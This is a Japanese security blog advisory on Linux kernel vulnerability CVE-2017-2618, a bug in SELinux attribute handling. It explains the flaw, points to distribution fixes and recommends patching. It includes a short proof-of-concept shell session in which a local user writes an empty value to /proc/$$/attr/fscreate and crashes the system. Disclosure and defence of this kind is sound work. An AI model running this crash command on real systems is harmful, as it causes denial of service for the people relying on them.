linux kernelの脆弱性( CVE-2017-2618 )
こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
02/08/2017にkernelの脆弱性情報(CVE-2017-2618)が公開されました(古い情報で申し訳ありません)。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。
Priority
Moderate
修正方法
各ディストリビューションの情報を確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- CVE-2017-2618
ローカルユーザによるシステムクラッシュの可能性
重要度 – Moderate
/proc/[pid]/attr以下のファイルのSELinuxアトリビュート(属性)をクリアする際に問題が有り、nullを書き込むことによりローカルの一般ユーザがシステムをクラッシュすることが可能です。
PoC
システムがクラッシュ(停止)するため一般のシステムでの実施は推奨しません。PoC環境を用意し、その上でPoCの為だけにこれを実施して下さい。
以下、一般ユーザ(ローカル)でsshでシステムにログインし、テストします。
最終的に一番最後のecho “”>/proc/$$/attr/fscreateの際にシステムがクラッシュします。
[sios@cent7 proc]$ cd $$ [sios@cent7 2327]$ cd attr [sios@cent7 attr]$ ls current exec fscreate keycreate prev sockcreate [sios@cent7 attr]$ cd ~ [sios@cent7 ~]$ echo -n unconfined_u:object_r:user_home_t:s0 > /proc/$$/attr/fscreate [sios@cent7 ~]$ cat /proc/$$/attr/fscreate unconfined_u:object_r:user_home_t:s0[sios@cent7 ~]$ [sios@cent7 ~]$ echo "" > /proc/$$/attr/fscreate
主なディストリビューションの対応方法
詳細は、各ディストリビューションの提供元にご確認ください
Debian
Red Hat Enterprise Linux/CentOS
ubuntu
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-2618.html
SUSE/openSUSE
対処方法
各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat Satelliteを使うと管理が便利でしょう。
Red Hat Satelliteを用いた一般的なErattaの適用は、『Red Hat Satellite 6でerrataを適用してみる』を
参考にして下さい。
また、OSの再起動が発生しますので、pacemakerなどOSSのクラスタ製品やLifeKeeperなどの商用のクラスタリング製品を使うとサービス断の時間を最小限にすることが出来ます。